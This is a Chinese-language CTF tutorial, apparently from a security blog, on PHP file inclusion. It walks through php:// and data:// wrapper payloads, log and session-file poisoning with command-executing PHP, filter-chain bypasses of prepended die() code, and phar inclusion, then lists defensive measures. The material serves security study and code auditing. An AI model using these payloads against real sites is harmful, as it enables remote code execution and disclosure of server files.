php代码审计前奏之ctfshow之文件包含
字数 1349 2025-08-15 21:33:32

PHP代码审计之文件包含漏洞详解

文件包含漏洞基础

文件包含漏洞是PHP代码审计中常见的安全问题,主要源于includerequireinclude_oncerequire_once等函数的不当使用。

基本漏洞代码

<?php
if(isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
} else {
    highlight_file(__FILE__);
}

这种简单的文件包含可以直接利用PHP伪协议读取文件内容。

PHP伪协议利用

1. php://filter协议

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

通过base64编码读取文件内容,避免直接输出被解析。

2. data://协议

当php被过滤时:

$file = str_replace("php", "", $file);

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

其中PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=<?php system('cat flag.php');的base64编码。

日志文件包含

当php和data协议都被过滤时:

$file = str_replace("php", "", $file);
$file = str_replace("data", "", $file);

可以包含日志文件如Nginx的access.log:

payload:

?file=/var/log/nginx/access.log

利用步骤:

  1. 修改User-Agent为PHP代码:<?php system('ls');?>
  2. 访问网站让日志记录
  3. 包含日志文件执行代码

Session文件包含

当点(.)也被过滤时:

$file = str_replace(".", "", $file);

可以利用Session文件包含:

  1. 上传文件时设置PHPSESSID
  2. Session文件路径通常为/tmp/sess_[PHPSESSID]
  3. 竞争包含该文件

POC HTML:

<!DOCTYPE html>
<html>
<body>
<form action="目标地址" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

死亡绕过技巧

当遇到类似以下代码时:

file_put_contents($file, "<?php die('大佬别秀了');?>".$content);

1. base64-decode绕过

原理:

  • <?php die();?>正好6个字符,base64解码时会被忽略
  • 需要确保payload长度是4的倍数

payload:

?file=php://filter/write=convert.base64-decode/resource=1.php

POST数据:

content=aaPD9waHAgcGhwaW5mbygpOz8+

2. rot13过滤器绕过

payload:

?file=php://filter/write=string.rot13/resource=2.php

POST数据:

content=<?cuc cucvasb();?>

3. strip_tags过滤器绕过

payload:

?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php/

POST数据:

<?php phpinfo();PD9waHAgcGhwaW5mbygpOw==

高级绕过技巧

1. UCS-2编码绕过

当过滤了base64和string时:

if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
    die('too young too simple sometimes naive!');
}

可以使用convert.iconv.*过滤器:

payload:

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

POST数据:

?<hp pvela$(P_SO[T]a;)>?

2. phar协议利用

当文件上传+文件包含结合时:

  1. 创建PHP文件并压缩为ZIP
  2. 修改后缀为.jpg上传
  3. 使用phar协议包含:
?file=phar://upload/1.jpg/1

实际CTF题目分析

web118 - 特殊Content-Type绕过

function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: ".filesize($file));
readfile($file);

解法:

  1. 直接包含flag.php:?file=flag.php
  2. 查看响应包获取base64编码的flag

上传+固定后缀包含

@$file = $_GET["file"];
if(isset($file)) {
    if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") || strlen($file)>=70) {
        echo "<p> error! </p>";
    } else {
        include($file.'.php');
    }
}

解法:

  1. 上传ZIP改后缀的JPG文件
  2. 使用phar协议包含:?file=phar://upload/1.jpg/1

防御措施

  1. 避免动态包含用户可控的文件路径
  2. 使用白名单限制包含的文件
  3. 过滤特殊字符和协议:../, php://, data://
  4. 设置open_basedir限制文件访问范围
  5. 禁用危险函数:allow_url_include=Off

总结

文件包含漏洞的利用方式多样,从基本的伪协议利用到复杂的条件竞争和编码绕过,审计时需要特别注意:

  1. 所有用户输入作为文件路径的情况
  2. 过滤器的绕过可能性
  3. 服务器环境信息(日志路径、session存储位置等)
  4. 特殊协议的使用限制

通过系统学习这些技巧,可以更好地进行PHP代码审计和安全防护。

PHP代码审计之文件包含漏洞详解 文件包含漏洞基础 文件包含漏洞是PHP代码审计中常见的安全问题,主要源于 include 、 require 、 include_once 、 require_once 等函数的不当使用。 基本漏洞代码 这种简单的文件包含可以直接利用PHP伪协议读取文件内容。 PHP伪协议利用 1. php://filter协议 payload : 通过base64编码读取文件内容,避免直接输出被解析。 2. data://协议 当php被过滤时: payload : 其中 PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= 是 <?php system('cat flag.php'); 的base64编码。 日志文件包含 当php和data协议都被过滤时: 可以包含日志文件如Nginx的access.log: payload : 利用步骤 : 修改User-Agent为PHP代码: <?php system('ls');?> 访问网站让日志记录 包含日志文件执行代码 Session文件包含 当点(.)也被过滤时: 可以利用Session文件包含: 上传文件时设置PHPSESSID Session文件路径通常为 /tmp/sess_[PHPSESSID] 竞争包含该文件 POC HTML : 死亡绕过技巧 当遇到类似以下代码时: 1. base64-decode绕过 原理 : <?php die();?> 正好6个字符,base64解码时会被忽略 需要确保payload长度是4的倍数 payload : POST数据: 2. rot13过滤器绕过 payload : POST数据: 3. strip_ tags过滤器绕过 payload : POST数据: 高级绕过技巧 1. UCS-2编码绕过 当过滤了base64和string时: 可以使用 convert.iconv.* 过滤器: payload : POST数据: 2. phar协议利用 当文件上传+文件包含结合时: 创建PHP文件并压缩为ZIP 修改后缀为.jpg上传 使用phar协议包含: 实际CTF题目分析 web118 - 特殊Content-Type绕过 解法 : 直接包含flag.php: ?file=flag.php 查看响应包获取base64编码的flag 上传+固定后缀包含 解法 : 上传ZIP改后缀的JPG文件 使用phar协议包含: ?file=phar://upload/1.jpg/1 防御措施 避免动态包含用户可控的文件路径 使用白名单限制包含的文件 过滤特殊字符和协议: ../ , php:// , data:// 等 设置 open_basedir 限制文件访问范围 禁用危险函数: allow_url_include=Off 总结 文件包含漏洞的利用方式多样,从基本的伪协议利用到复杂的条件竞争和编码绕过,审计时需要特别注意: 所有用户输入作为文件路径的情况 过滤器的绕过可能性 服务器环境信息(日志路径、session存储位置等) 特殊协议的使用限制 通过系统学习这些技巧,可以更好地进行PHP代码审计和安全防护。